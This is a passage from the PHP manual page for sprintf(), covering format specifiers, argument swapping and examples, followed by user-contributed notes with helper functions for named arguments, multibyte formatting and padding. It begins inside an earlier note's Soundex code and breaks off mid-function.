                if (substr($temp_Name, $n - 1, 1) == substr($SoundKey2, $i - 1, 1) && $temp_Last != "2")
                {
                    $temp_Soundex = $temp_Soundex."2";
                    $temp_Last = "2";
                }
            }
            for ($i = 0; $i < strlen($SoundKey3); $i++)
            {
                if (substr($temp_Name, $n - 1, 1) == substr($SoundKey3, $i - 1, 1) && $temp_Last != "3")
                {
                    $temp_Soundex = $temp_Soundex."3";
                    $temp_Last = "3";
                }
            }
            for ($i = 0; $i < strlen($SoundKey4); $i++)
            {
                if (substr($temp_Name, $n - 1, 1) == substr($SoundKey4, $i - 1, 1) && $temp_Last != "4")
                {
                    $temp_Soundex = $temp_Soundex."4";
                    $temp_Last = "4";
                }
            }
            for ($i = 0; $i < strlen($SoundKey5); $i++)
            {
                if (substr($temp_Name, $n - 1, 1) == substr($SoundKey5, $i - 1, 1) && $temp_Last != "5")
                {
                    $temp_Soundex = $temp_Soundex."5";
                    $temp_Last = "5";
                }
            }
            for ($i = 0; $i < strlen($SoundKey6); $i++)
            {
                if (substr($temp_Name, $n - 1, 1) == substr($SoundKey6, $i - 1, 1) && $temp_Last != "6")
                {
                    $temp_Soundex = $temp_Soundex."6";
                    $temp_Last = "6";
                }
            }
            for ($i = 0; $i < strlen($SoundKey7); $i++)
            {
                if (substr($temp_Name, $n - 1, 1) == substr($SoundKey7, $i - 1, 1))
                {
                    $temp_Last = "";
                }
            }
        }
    }

    while (strlen($temp_Soundex) < 4)
    {
        $temp_Soundex = $temp_Soundex."0";
    }

    return $temp_Soundex;
}

// --- end code---
cap at capsi dot cx 13-Dec-1999 04:16
soundex() unfortunately is very sensitive about the first character. It is not possible to use it and have Clansy and Klansy return the same value. If you want to do a phonetic search on such names you will still need to write a routine to evaluate C452 as being similar to K452.


Return a formatted string

  • Â« soundex
  • sscanf Â»
  • PHP Manual
  • String Functions
  • Return a formatted string

sprintf

(PHP 4, PHP 5)

sprintf — Return a formatted string

Description

string sprintf ( string $format [, mixed $args [, mixed $... ]] )

Returns a string produced according to the formatting string format.

Parameters

format

The format string is composed of zero or more directives: ordinary characters (excluding %) that are copied directly to the result, and conversion specifications, each of which results in fetching its own parameter. This applies to both sprintf() and printf().

Each conversion specification consists of a percent sign (%), followed by one or more of these elements, in order:

  1. An optional sign specifier that forces a sign (- or +) to be used on a number. By default, only the - sign is used on a number if it's negative. This specifier forces positive numbers to have the + sign attached as well, and was added in PHP 4.3.0.
  2. An optional padding specifier that says what character will be used for padding the results to the right string size. This may be a space character or a 0 (zero character). The default is to pad with spaces. An alternate padding character can be specified by prefixing it with a single quote ('). See the examples below.
  3. An optional alignment specifier that says if the result should be left-justified or right-justified. The default is right-justified; a - character here will make it left-justified.
  4. An optional number, a width specifier that says how many characters (minimum) this conversion should result in.
  5. An optional precision specifier in the form of a period (`.') followed by an optional decimal digit string that says how many decimal digits should be displayed for floating-point numbers. When using this specifier on a string, it acts as a cutoff point, setting a maximum character limit to the string.

  6. A type specifier that says what type the argument data should be treated as. Possible types:

    • % - a literal percent character. No argument is required.
    • b - the argument is treated as an integer, and presented as a binary number.
    • c - the argument is treated as an integer, and presented as the character with that ASCII value.
    • d - the argument is treated as an integer, and presented as a (signed) decimal number.
    • e - the argument is treated as scientific notation (e.g. 1.2e+2). The precision specifier stands for the number of digits after the decimal point since PHP 5.2.1. In earlier versions, it was taken as number of significant digits (one less).
    • E - like %e but uses uppercase letter (e.g. 1.2E+2).
    • f - the argument is treated as a float, and presented as a floating-point number (locale aware).
    • F - the argument is treated as a float, and presented as a floating-point number (non-locale aware). Available since PHP 4.3.10 and PHP 5.0.3.
    • g - shorter of %e and %f.
    • G - shorter of %E and %f.
    • o - the argument is treated as an integer, and presented as an octal number.
    • s - the argument is treated as and presented as a string.
    • u - the argument is treated as an integer, and presented as an unsigned decimal number.
    • x - the argument is treated as an integer and presented as a hexadecimal number (with lowercase letters).
    • X - the argument is treated as an integer and presented as a hexadecimal number (with uppercase letters).

Variables will be co-erced to a suitable type for the specifier:

Type Handling
Type | Specifiers
string | s
integer | d, u, c, o, x, X, b
double | g, G, e, E, f, F

Warning

Attempting to use a combination of the string and width specifiers with character sets that require more than one byte per character may result in unexpected results

The format string supports argument numbering/swapping. Here is an example:

Example #1 Argument swapping

<?php
$num = 5;
$location = 'tree';

$format = 'There are %d monkeys in the %s';
echo sprintf($format, $num, $location);
?>
This will output "There are 5 monkeys in the tree". But imagine we are creating a format string in a separate file, commonly because we would like to internationalize it and we rewrite it as:

Example #2 Argument swapping

<?php
$format = 'The %s contains %d monkeys';
echo sprintf($format, $num, $location);
?>
We now have a problem. The order of the placeholders in the format string does not match the order of the arguments in the code. We would like to leave the code as is and simply indicate in the format string which arguments the placeholders refer to. We would write the format string like this instead:

Example #3 Argument swapping

<?php
$format = 'The %2$s contains %1$d monkeys';
echo sprintf($format, $num, $location);
?>
An added benefit here is that you can repeat the placeholders without adding more arguments in the code. For example:

Example #4 Argument swapping

<?php
$format = 'The %2$s contains %1$d monkeys.
           That\'s a nice %2$s full of %1$d monkeys.';
echo sprintf($format, $num, $location);
?>
When using argument swapping, the n$ position specifier must come immediately after the percent sign (%), before any other specifiers, as shown in the example below.

Example #5 Position specifier with other specifiers

<?php
$format = 'The %2$s contains %1$04d monkeys';
echo sprintf($format, $num, $location);
?>

The above example will output:

The tree contains 0005 monkeys

Note:

Attempting to use a position specifier greater than PHP_INT_MAX will result in sprintf() generating warnings.

Warning

The c type specifier ignores padding and width

args

...

Return Values

Returns a string produced according to the formatting string format.

Examples

Example #6 printf(): various examples

<?php
$n =  43951789;
$u = -43951789;
$c = 65; // ASCII 65 is 'A'

// notice the double %%, this prints a literal '%' character
printf("%%b = '%b'\n", $n); // binary representation
printf("%%c = '%c'\n", $c); // print the ascii character, same as chr() function
printf("%%d = '%d'\n", $n); // standard integer representation
printf("%%e = '%e'\n", $n); // scientific notation
printf("%%u = '%u'\n", $n); // unsigned integer representation of a positive integer
printf("%%u = '%u'\n", $u); // unsigned integer representation of a negative integer
printf("%%f = '%f'\n", $n); // floating point representation
printf("%%o = '%o'\n", $n); // octal representation
printf("%%s = '%s'\n", $n); // string representation
printf("%%x = '%x'\n", $n); // hexadecimal representation (lower-case)
printf("%%X = '%X'\n", $n); // hexadecimal representation (upper-case)

printf("%%+d = '%+d'\n", $n); // sign specifier on a positive integer
printf("%%+d = '%+d'\n", $u); // sign specifier on a negative integer
?>

The above example will output:

%b = '10100111101010011010101101'
%c = 'A'
%d = '43951789'
%e = '4.39518e+7'
%u = '43951789'
%u = '4251015507'
%f = '43951789.000000'
%o = '247523255'
%s = '43951789'
%x = '29ea6ad'
%X = '29EA6AD'
%+d = '+43951789'
%+d = '-43951789'

Example #7 printf(): string specifiers

<?php
$s = 'monkey';
$t = 'many monkeys';

printf("[%s]\n",      $s); // standard string output
printf("[%10s]\n",    $s); // right-justification with spaces
printf("[%-10s]\n",   $s); // left-justification with spaces
printf("[%010s]\n",   $s); // zero-padding works on strings too
printf("[%'#10s]\n",  $s); // use the custom padding character '#'
printf("[%10.10s]\n", $t); // left-justification but with a cutoff of 10 characters
?>

The above example will output:

[monkey]
[    monkey]
[monkey    ]
[0000monkey]
[####monkey]
[many monke]

Example #8 sprintf(): zero-padded integers

<?php
$isodate = sprintf("%04d-%02d-%02d", $year, $month, $day);
?>

Example #9 sprintf(): formatting currency

<?php
$money1 = 68.75;
$money2 = 54.35;
$money = $money1 + $money2;
// echo $money will output "123.1";
$formatted = sprintf("%01.2f", $money);
// echo $formatted will output "123.10"
?>

Example #10 sprintf(): scientific notation

<?php
$number = 362525200;

echo sprintf("%.3e", $number); // outputs 3.625e+8
?>

See Also

  • printf() - Output a formatted string
  • sscanf() - Parses input from a string according to a format
  • fscanf() - Parses input from a file according to a format
  • vsprintf() - Return a formatted string
  • number_format() - Format a number with grouped thousands

User Contributed Notes

john at jbwalker dot com 24-May-2014 09:24
I couldn't find what should be a WARNING in the documentation above, that if you have more specifiers than variables to match them sprintf returns NOTHING. This fact, IMHO, should also be noted under return values.
hdimac at gmail dot com 15-Apr-2014 01:00
In the examples, is being shown printf, but it should say sprintf, which is the function being explained... just a simple edition mistake.
ivan at php dot net 29-Dec-2013 05:13
There is a minor issue in a code of mb_vsprintf function from viktor at textalk dot com.

In "truncate $arg" section the following line:
  $arg = mb_substr($precision,0,$precision,$encoding);
needs to be replaced with:
  $arg = mb_substr($arg,0,$precision,$encoding);
ethaizone at hotmail dot com 24-Oct-2013 12:52
Example:  use sprintf to zero fill

<?php
// 00000005
echo sprintf('%08d', 5);
me at php dot net 01-Jul-2013 02:51
To convert / use / implement 64-bit signed 2's complement Long type values in PHP code, use the following code

// requires bcmath

/* java 64-bit long: The long data type is a 64-bit signed two's complement integer. It has a minimum value of -9,223,372,036,854,775,808 and a maximum value of 9,223,372,036,854,775,807 (inclusive). Use this data type when you need a range of values wider than those provided by int.
*/

bcscale(0);

$num = substr($data,0,8) // 8 binary bytes from file

$long  = bcadd(bcmul(unpack('N',substr($num,0,4))[1],bcpow(2,32)),unpack('N',substr($num,4,4))[1]);

if(unpack('N',substr($num,4,4))[1] & 0x80000000)
  $long = bcadd($long,pow(2,32));

var_dump($long);

// now you can use $long as 64-bit signed long value by using bcmath functions
// do not use php math funcs, they cant handle 64-bit long integer values
// use bcadd bcsub etc from bcmath functions freely

Hope this helps people handling 64-bit long values retrieved from other languages like java, etc
Alex R. Gibbs 25-Jan-2013 05:17
1.  A plus sign ('+') means put a '+' before positive numbers while a minus sign ('-') means left justify.  The documentation incorrectly states that they are interchangeable.  They produce unique results that can be combined:

<?php
echo sprintf ("|%+4d|%+4d|\n",   1, -1);
echo sprintf ("|%-4d|%-4d|\n",   1, -1);
echo sprintf ("|%+-4d|%+-4d|\n", 1, -1);
?>

outputs:

|  +1|  -1|
|1   |-1  |
|+1  |-1  |

2.  Padding with a '0' is different than padding with other characters.  Zeros will only be added at the front of a number, after any sign.  Other characters will be added before the sign, or after the number:

<?php
echo sprintf ("|%04d|\n",   -2);
echo sprintf ("|%':4d|\n",  -2);
echo sprintf ("|%-':4d|\n", -2);

// Specifying both "-" and "0" creates a conflict with unexpected results:
echo sprintf ("|%-04d|\n",  -2);

// Padding with other digits behaves like other non-zero characters:
echo sprintf ("|%-'14d|\n", -2);
echo sprintf ("|%-'04d|\n", -2);
?>

outputs:

|-002|
|::-2|
|-2::|
|-2  |
|-211|
|-2  |
ignat dot scheglovskiy at gmail dot com 11-Oct-2012 05:47
Here is an example how alignment, padding and precision specifier can be used to print formatted list of items:

<?php

$out = "The Books\n";
$books = array("Book 1", "Book 2", "Book 3");
$pages = array("123 pages ", "234 pages", "345 pages");
for ($i = 0; $i < count($books); $i++) {
    $out .= sprintf("%'.-20s%'.7.4s\n", $books[$i], $pages[$i]);
}
echo $out;

// Outputs:
//
// The Books
// Book 1.................123
// Book 2.................234
// Book 3.................345
?>
Hayley Watson 07-Jun-2012 08:21
If you use argument numbering, then format specifications with the same number get the same argument; this can save repeating the argument in the function call.

<?php

$pattern = '%1$s %1$\'#10s %1$s!';

printf($pattern, "badgers");
?>
krzysiek dot 333 at gmail dot com - zryty dot hekko dot pl 20-Aug-2011 09:48
Encoding and decoding IP adress to format: 1A2B3C4D (mysql column: char(8) )

<?php
function encode_ip($dotquad_ip)
{
    $ip_sep = explode('.', $dotquad_ip);
    return sprintf('%02x%02x%02x%02x', $ip_sep[0], $ip_sep[1], $ip_sep[2], $ip_sep[3]);
}

function decode_ip($int_ip)
{
    $hexipbang = explode('.', chunk_split($int_ip, 2, '.'));
    return hexdec($hexipbang[0]). '.' . hexdec($hexipbang[1]) . '.' . hexdec($hexipbang[2]) . '.' . hexdec($hexipbang[3]);
}
?>
timo dot frenay at gmail dot com 02-May-2011 02:38
Here is how to print a floating point number with 16 significant digits regardless of magnitude:

<?php
    $result = sprintf(sprintf('%%.%dF', max(15 - floor(log10($value)), 0)), $value);
?>

This works more reliably than doing something like sprintf('%.15F', $value) as the latter may cut off significant digits for very small numbers, or prints bogus digits (meaning extra digits beyond what can reliably be represented in a floating point number) for very large numbers.
carmageddon at gmail dot com 02-Feb-2011 03:38
If you want to convert a decimal (integer) number into constant length binary number in lets say 9 bits, use this:

$binary = sprintf('%08b', $number );

for example:
<?php
$bin = sprintf('%08b',511 );
echo $bin."\n";
?>

would output 111111111
And 2 would output 00000010

I know the leading zeros are useful to me, perhaps they are to someone else too.
dwieeb at gmail dot com 01-Sep-2010 08:54
If you use the default padding specifier (a space) and then print it to HTML, you will notice that HTML does not display the multiple spaces correctly. This is because any sequence of white-space is treated as a single space.

To overcome this, I wrote a simple function that replaces all the spaces in the string returned by sprintf() with the character entity reference "&nbsp;" to achieve non-breaking space in strings returned by sprintf()

<?php
//Here is the function:
function sprintf_nbsp() {
   $args = func_get_args();
   return str_replace(' ', '&nbsp;', vsprintf(array_shift($args), array_values($args)));
}

//Usage (exactly like sprintf):
$format = 'The %d monkeys are attacking the [%10s]!';
$str = sprintf_nbsp($format, 15, 'zoo');
echo $str;
?>

The above example will output:
The 15 monkeys are attacking the [       zoo]!

<?php
//The variation that prints the string instead of returning it:
function printf_nbsp() {
   $args = func_get_args();
   echo str_replace(' ', '&nbsp;', vsprintf(array_shift($args), array_values($args)));
}
?>
geertdd at gmail dot com 01-Sep-2010 09:53
Note that when using a sign specifier, the number zero is considered positive and a "+" sign will be prepended to it.

<?php
printf('%+d', 0); // +0
?>
nate at frickenate dot com 14-Nov-2009 08:45
Here's a clean, working version of functions to allow using named arguments instead of numeric ones. ex: instead of sprintf('%1$s', 'Joe');, we can use sprintf('%name$s', array('name' => 'Joe'));. I've provided 2 different versions: the first uses the php-like syntax (ex: %name$s), while the second uses the python syntax (ex: %(name)s).

<?php

/**
 * version of sprintf for cases where named arguments are desired (php syntax)
 *
 * with sprintf: sprintf('second: %2$s ; first: %1$s', '1st', '2nd');
 *
 * with sprintfn: sprintfn('second: %second$s ; first: %first$s', array(
 *  'first' => '1st',
 *  'second'=> '2nd'
 * ));
 *
 * @param string $format sprintf format string, with any number of named arguments
 * @param array $args array of [ 'arg_name' => 'arg value', ... ] replacements to be made
 * @return string|false result of sprintf call, or bool false on error
 */
function sprintfn ($format, array $args = array()) {
    // map of argument names to their corresponding sprintf numeric argument value
    $arg_nums = array_slice(array_flip(array_keys(array(0 => 0) + $args)), 1);

    // find the next named argument. each search starts at the end of the previous replacement.
    for ($pos = 0; preg_match('/(?<=%)([a-zA-Z_]\w*)(?=\$)/', $format, $match, PREG_OFFSET_CAPTURE, $pos);) {
        $arg_pos = $match[0][1];
        $arg_len = strlen($match[0][0]);
        $arg_key = $match[1][0];

        // programmer did not supply a value for the named argument found in the format string
        if (! array_key_exists($arg_key, $arg_nums)) {
            user_error("sprintfn(): Missing argument '${arg_key}'", E_USER_WARNING);
            return false;
        }

        // replace the named argument with the corresponding numeric one
        $format = substr_replace($format, $replace = $arg_nums[$arg_key], $arg_pos, $arg_len);
        $pos = $arg_pos + strlen($replace); // skip to end of replacement for next iteration
    }

    return vsprintf($format, array_values($args));
}

/**
 * version of sprintf for cases where named arguments are desired (python syntax)
 *
 * with sprintf: sprintf('second: %2$s ; first: %1$s', '1st', '2nd');
 *
 * with sprintfn: sprintfn('second: %(second)s ; first: %(first)s', array(
 *  'first' => '1st',
 *  'second'=> '2nd'
 * ));
 *
 * @param string $format sprintf format string, with any number of named arguments
 * @param array $args array of [ 'arg_name' => 'arg value', ... ] replacements to be made
 * @return string|false result of sprintf call, or bool false on error
 */
function sprintfn ($format, array $args = array()) {
    // map of argument names to their corresponding sprintf numeric argument value
    $arg_nums = array_slice(array_flip(array_keys(array(0 => 0) + $args)), 1);

    // find the next named argument. each search starts at the end of the previous replacement.
    for ($pos = 0; preg_match('/(?<=%)\(([a-zA-Z_]\w*)\)/', $format, $match, PREG_OFFSET_CAPTURE, $pos);) {
        $arg_pos = $match[0][1];
        $arg_len = strlen($match[0][0]);
        $arg_key = $match[1][0];

        // programmer did not supply a value for the named argument found in the format string
        if (! array_key_exists($arg_key, $arg_nums)) {
            user_error("sprintfn(): Missing argument '${arg_key}'", E_USER_WARNING);
            return false;
        }

        // replace the named argument with the corresponding numeric one
        $format = substr_replace($format, $replace = $arg_nums[$arg_key] . '$', $arg_pos, $arg_len);
        $pos = $arg_pos + strlen($replace); // skip to end of replacement for next iteration
    }

    return vsprintf($format, array_values($args));
}

?>
Astone 16-Sep-2009 08:41
When you're using Google translator, you have to 'escape' the 'conversion specifications' by putting <span class="notranslate"></span> around them.

Like this:

<?php

function getGoogleTranslation($sString, $bEscapeParams = true)
{
    // "escape" sprintf paramerters
    if ($bEscapeParams)
    {
        $sPatern = '/(?:%%|%(?:[0-9]+\$)?[+-]?(?:[ 0]|\'.)?-?[0-9]*(?:\.[0-9]+)?[bcdeufFosxX])/';
        $sEscapeString = '<span class="notranslate">$0</span>';
        $sString = preg_replace($sPatern, $sEscapeString, $sString);
    }

    // Compose data array (English to Dutch)
    $aData = array(
        'v'            => '1.0',
        'q'            => $sString,
        'langpair'    => 'en|nl',
    );

    // Initialize connection
    $rService = curl_init();

    // Connection settings
    curl_setopt($rService, CURLOPT_URL, 'http://ajax.googleapis.com/ajax/services/language/translate');
    curl_setopt($rService, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($rService, CURLOPT_POSTFIELDS, $aData);

    // Execute request
    $sResponse = curl_exec($rService);

    // Close connection
    curl_close($rService);

    // Extract text from JSON response
    $oResponse = json_decode($sResponse);
    if (isset($oResponse->responseData->translatedText))
    {
        $sTranslation = $oResponse->responseData->translatedText;
    }
    else
    {
        // If some error occured, use the original string
        $sTranslation = $sString;
    }

    // Replace "notranslate" tags
    if ($bEscapeParams)
    {
        $sEscapePatern = '/<span class="notranslate">([^<]*)<\/span>/';
        $sTranslation = preg_replace($sEscapePatern, '$1', $sTranslation);
    }

    // Return result
    return $sTranslation;
}

?>

Thanks to MelTraX for defining the RegExp!
Jay Gilford 26-Aug-2009 02:13
I created this function a while back to save on having to combine mysql_real_escape_string onto all the params passed into a sprintf. it works literally the same as the sprintf other than that it doesn't require you to escape your inputs. Hope its of some use to people

<?php
function mressf()
{
    $args = func_get_args();
    if (count($args) < 2)
        return false;
    $query = array_shift($args);
    $args = array_map('mysql_real_escape_string', $args);
    array_unshift($args, $query);
    $query = call_user_func_array('sprintf', $args);
    return $query;
}
?>

Regards
Jay
Jaygilford.com
jfgrissom at gmail dot com 12-Jul-2009 06:51
I had a nightmare trying to find the two's complement of a 32 bit number.

I got this from http://www.webmasterworld.com/forum88/13334.htm (credit where credit is due... =P  )

Quote: ...find out the 2's complement of any number, which is -(pow(2, n) - N) where n is the number of bits and N is the number for which to find out its 2's complement.

This worked magic for me... previously I was trying to use

sprintf ("%b",$32BitDecimal);
But it always returned 10000000000000000000000 when the $32BitDecimal value got above 2,000,000,000.

This -(pow(2, n) - N)
Worked remarkably well and was very accurate.

Hope this helps someone fighting with two's complement in PHP.
John Walker 10-Jul-2009 02:56
To add to other notes below about floating point problems, I noted that %f and %F will apparently output a maximum precision of 6 as a default so you have to specify 1.15f (eg) if you need more.

In my case, the input (from MySQL) was a string with 15 digits of precision that was displayed with 6. Likely what happens is that the rounding occurs in the conversion to a float before it is displayed. Displaying it as 1.15f (or in my case, %s) shows the correct number.
viktor at textalk dot com 18-Feb-2009 05:16
A more complete and working version of mb_sprintf and mb_vsprintf. It should work with any "ASCII preserving" encoding such as UTF-8 and all the ISO-8859 charsets. It handles sign, padding, alignment, width and precision. Argument swapping is not handled.

<?php
if (!function_exists('mb_sprintf')) {
  function mb_sprintf($format) {
      $argv = func_get_args() ;
      array_shift($argv) ;
      return mb_vsprintf($format, $argv) ;
  }
}
if (!function_exists('mb_vsprintf')) {
  /**
   * Works with all encodings in format and arguments.
   * Supported: Sign, padding, alignment, width and precision.
   * Not supported: Argument swapping.
   */
  function mb_vsprintf($format, $argv, $encoding=null) {
      if (is_null($encoding))
          $encoding = mb_internal_encoding();

      // Use UTF-8 in the format so we can use the u flag in preg_split
      $format = mb_convert_encoding($format, 'UTF-8', $encoding);

      $newformat = ""; // build a new format in UTF-8
      $newargv = array(); // unhandled args in unchanged encoding

      while ($format !== "") {

        // Split the format in two parts: $pre and $post by the first %-directive
        // We get also the matched groups
        list ($pre, $sign, $filler, $align, $size, $precision, $type, $post) =
            preg_split("!\%(\+?)('.|[0 ]|)(-?)([1-9][0-9]*|)(\.[1-9][0-9]*|)([%a-zA-Z])!u",
                       $format, 2, PREG_SPLIT_DELIM_CAPTURE) ;

        $newformat .= mb_convert_encoding($pre, $encoding, 'UTF-8');

        if ($type == '') {
          // didn't match. do nothing. this is the last iteration.
        }
        elseif ($type == '%') {
          // an escaped %
          $newformat .= '%%';
        }
        elseif ($type == 's') {
          $arg = array_shift($argv);
          $arg = mb_convert_encoding($arg, 'UTF-8', $encoding);
          $padding_pre = '';
          $padding_post = '';

          // truncate $arg
          if ($precision !== '') {
            $precision = intval(substr($precision,1));
            if ($precision > 0 && mb_strlen($arg,$encoding) > $precision)
              $arg = mb_substr($precision,0,$precision,$encoding);
          }

          // define padding
          if ($size > 0) {
            $arglen = mb_strlen($arg, $encoding);
            if ($arglen < $size) {
              if($filler==='')
                  $filler = ' ';
              if ($align == '-')
                  $padding_post = str_repeat($filler, $size - $arglen);
              else
                  $padding_pre = str_repeat($filler, $size - $arglen);
            }
          }

          // escape % and pass it forward
          $newformat .= $padding_pre . str_replace('%', '%%', $arg) . $padding_post;
        }
        else {
          // another type, pass forward
          $newformat .= "%$sign$filler$align$size$precision$type";
          $newargv[] = array_shift($argv);
        }
        $format = strval($post);
      }
      // Convert new format back from UTF-8 to the original encoding
      $newformat = mb_convert_encoding($newformat, $encoding, 'UTF-8');
      return vsprintf($newformat, $newargv);
  }
}
?>
splogamurugan at gmail dot com 06-Feb-2009 02:59
$format = 'There are %1$d monkeys in the %s and %s ';
printf($format, 100, 'Chennai', 'Bangalore');

Expecting to output
"There are 100 monkeys in the Chennai and bangalore"

But, this will output
"There are 100 monkeys in the 100 and Chennai"

Because, the second and Third specifiers takes 1rst and 2nd arguments. Because it is not assigned with any arguments.
remy dot damour at -please-no-spam-laposte dot net 15-Jan-2009 08:15
With printf() and sprintf() functions, escape character is not backslash '\' but rather '%'.

Ie. to print '%' character you need to escape it with itself:
<?php
printf('%%%s%%', 'koko'); #output: '%koko%'
?>
MelTraX 05-Nov-2008 10:40
<?php
  // parses a string meant for printf and returns an array of found parameters (or NULL if it contains syntax errors)
  function parsePrintfParameters($string) {
    $valid = '/^(?:%%|%(?:[0-9]+\$)?[+-]?(?:[ 0]|\'.)?-?[0-9]*(?:\.[0-9]+)?[bcdeufFosxX])/';
    $originalString = $string;

    $result = array();
    while(strlen($string)) {
      if(!$string = preg_replace('/^[^%]*/', '', $string))
        break;

      if(preg_match($valid, $string, $matches)) {
        $result[] = $matches[0];
        $string = substr($string, strlen($matches[0]));
      } else {
        error(sprintf('"%s" has an error near "%s".', $originalString, $string));
        return NULL;
      }
    }
    return $result;
  }
?>
php at mikeboers dot com 01-Oct-2008 10:42
And continuing on the same theme of a key-based sprintf...

I'm roughly (I can see a couple cases where it comes out wierd) copying the syntax of Python's string formatting with a dictionary. The improvement over the several past attempts is that this one still respects all of the formating options, as you can see in my example.

And the error handling is really crappy (just an echo). I just threw this together so do with it what you will. =]

<?php

function sprintf_array($string, $array)
{
    $keys    = array_keys($array);
    $keysmap = array_flip($keys);
    $values  = array_values($array);

    while (preg_match('/%\(([a-zA-Z0-9_ -]+)\)/', $string, $m))
    {
        if (!isset($keysmap[$m[1]]))
        {
            echo "No key $m[1]\n";
            return false;
        }

        $string = str_replace($m[0], '%' . ($keysmap[$m[1]] + 1) . '$', $string);
    }

    array_unshift($values, $string);
    var_dump($values);
    return call_user_func_array('sprintf', $values);
}

echo sprintf_array('4 digit padded number: %(num)04d ', array('num' => 42));

?>

Cheers!
ant at loadtrax dot com 18-Jun-2008 11:19
Rounding seems a little inconsistent, so beware:

$ php -a

php> print round(1.0*20*1.175/100,2);
0.24
php > print sprintf("%.2f",1.0*20*1.175/100);
0.23
php > print sprintf("%.0f",1.0*20*1.175);
24

I get round this by doing the round first, then doing the sprintf.
jaimthorn at yahoo dot com 11-Jun-2008 04:01
I needed a piece of code similar to the one Matt posted below, on the 10th of March, 2008.  However, I wasn't completely satisfied with Matt's code (sorry, Matt!  No offense intended!), because

1) I don't like to initialize variables when it's not really needed, and
2) it contains two bugs.

What are the bugs?

First, Matt's code tests for count($vars) > 0, but if $var == "Hello world!", then count($var) == 1, but the foreach() will crash because $var has to be an array.  So instead, my code tests for is_array($var).

Second, if a key in $vars is a prefix of any of the later keys in the array (like 'object' is the beginning of 'objective') then the str_replace messes things up.  This is no big deal if your keys are hard-coded and you can make sure the keys don't interfere, but in my code the keys are variable.  So I decided to first sort the array on a decreasing length of the key.

<?php

function cmp($a, $b)
{
    return strlen($b) - strlen($a);
}

function sprintf2($str, $vars, $char = '%')
{
    if(is_array($vars))
    {
        uksort($vars, "cmp");

        foreach($vars as $k => $v)
        {
            $str = str_replace($char . $k, $v, $str);
        }
    }

    return $str;
}

echo sprintf2( 'Hello %your_name, my name is %my_name! I am %my_age, how old are you? I like %object and I want to %objective_in_life!'
             , array( 'your_name'         => 'Matt'
                    , 'my_name'           => 'Jim'
                    , 'my_age'            => 'old'
                    , 'object'            => 'women'
                    , 'objective_in_life' => 'write code'
                    )
             );

?>

If possible, and if you're willing, you can also embed the key fields in the text between percent-signs, rather than prefixing the keys with one.  Sorting is no longer necessary, and the execution time is less than half of the code above:

<?php

function sprintf3($str, $vars, $char = '%')
{
    $tmp = array();
    foreach($vars as $k => $v)
    {
        $tmp[$char . $k . $char] = $v;
    }
    return str_replace(array_keys($tmp), array_values($tmp), $str);
}

echo sprintf3( 'Hello %your_name%, my name is %my_name%! I am %my_age%, how old are you? I like %object% and I want to %objective_in_life%!'
             , array( 'your_name'         => 'Matt'
                    , 'my_name'           => 'Jim'
                    , 'my_age'            => 'old'
                    , 'object'            => 'women'
                    , 'objective_in_life' => 'write code'
                    )
             );
?>

If you're willing to embed the keys in the text, you may also be willing to embed the keys themselves in percent signs, thus shaving off another 30% of the execution time:

<?php

function sprintf4($str, $vars)
{
    return str_replace(array_keys($vars), array_values($vars), $str);
}

echo sprintf4( 'Hello %your_name%, my name is %my_name%! I am %my_age%, how old are you? I like %object% and I want to %objective_in_life%!'
             , array( '%your_name%'         => 'Matt'
                    , '%my_name%'           => 'Jim'
                    , '%my_age%'            => 'old'
                    , '%object%'            => 'women'
                    , '%objective_in_life%' => 'write code'
                    )
             );
?>

Of course, by now the sprintf function is no longer something you'd want to write to mum and dad about...
ranema at ubuntu dot polarhome dot com 30-Mar-2008 04:40
It's very comfortible for long Sql queries:

<?php
$_gQuery = "UPDATE `x` SET `a` = %i AND `b` = '%s' WHERE `my` = '%s';"; // ........

mysql_query( sprintf( $_gQuery, 10, 'a', 'rrrr' ) );
?>

But if you have a short query, then it would be much faster to append your data by using `.`.

<?php
$_gQuery = 'SELECT COUNT(*) FROM `' . $_gName . '`;';
?>
matt 10-Mar-2008 06:13
Was looking for a assoc way of using sprintf but couldnt find one, probably wasnt looking hard enough so came up with this. Very very simple indeed...

<?php

function sprintf2($str='', $vars=array(), $char='%')
{
    if (!$str) return '';
    if (count($vars) > 0)
    {
        foreach ($vars as $k => $v)
        {
            $str = str_replace($char . $k, $v, $str);
        }
    }

    return $str;
}

echo sprintf2('Hello %your_name my name is %my_name! I am %my_age, how old are you? I like %object!', array(
    'your_name' => 'Ben',
    'my_name' => 'Matt',
    'my_age' => '21',
    'object' => 'food'
));

// Hello Ben my name is Matt! I am 21, how old are you? I like food!

?>

Looks nice anyway :)
scott dot gardner at mac dot com 10-Jan-2008 10:22
In the last example of Example#6, there is an error regarding the output.

printf("[%10.10s]\n", $t); // left-justification but with a cutoff of 10 characters

This outputs right-justified.

In order to output left-justified:

printf("[%-10.10s]\n", $t);
me at umarfarooq dot net 07-Sep-2007 08:29
/**
This function returns a formated  string with the legnth you specify
@string holds the string which you want to format
@len holds the length you want to format
**/
function formatString($string, $len)
{
    if (strlen($string) < $len)
    {
        $addchar=($len - strlen($string)) ;
        for ($i = 0; $i < $addchar; $i++)
        {
            $string=sprintf("$string%s", "0");
        }
    }

    if (strlen($string) > $len)
    {
        $string=substr($string,0,$len);
    }

    return $string;
}
Thomas Breuss 11-May-2007 09:03
Note:
If you want to use % in sprintf, you have to "quote" it like %%.

Example:
echo sprintf("Green => %d%%'", 50);

Output:
Green => 50%
SWestrup 09-Nov-2006 08:46
In response to Anonymous, who claimed that:

  printf("[%s]\n", str_pad('Hello', 20));

and

  printf("[%-20s]\n", 'Hello');

are the same thing: you've missed the point.

They're only the same when the amount of padding is a known constant. When its a variable (or an expression), its often much more convenient to be able to write:

  printf("[%-*s]\n", 3*$n+2, "Hello");

than what you have to go through now, which is either:

  $t = 3*$n+2;
  printf("[%-{$t}s]\n","Hello");

or

  printf("[%s]\n", str_pad('Hello', 3*$n+2));
bknakkerNO at SPAMgmail dot com 10-Aug-2006 11:54
Note that in PHP5 (.1.4 for me) sprintf will not use the __toString function of an object.

<?php
class pr{
private $l;
public function __construct($l)
{
$this->l=$l;
}
public function __toString()
{
return $this->l;
}
}
echo new pr('This works!!'); //This will display 'This works!!'
echo sprintf(new pr('This doesnt')); // will display 'Object'
?>

Be careful with that!
tim dot brouckaert dot NOSPAM at gmail dot com 12-Oct-2005 02:35
If you want to center align some text using the printf or sprintf functions, you can just use the following:

function center_text($word){
    $tot_width = 30;
    $symbol = "-";
    $middle = round($tot_width/2);
    $length_word = strlen($word);
    $middle_word = round($length_word / 2);
    $last_position = $middle + $middle_word;
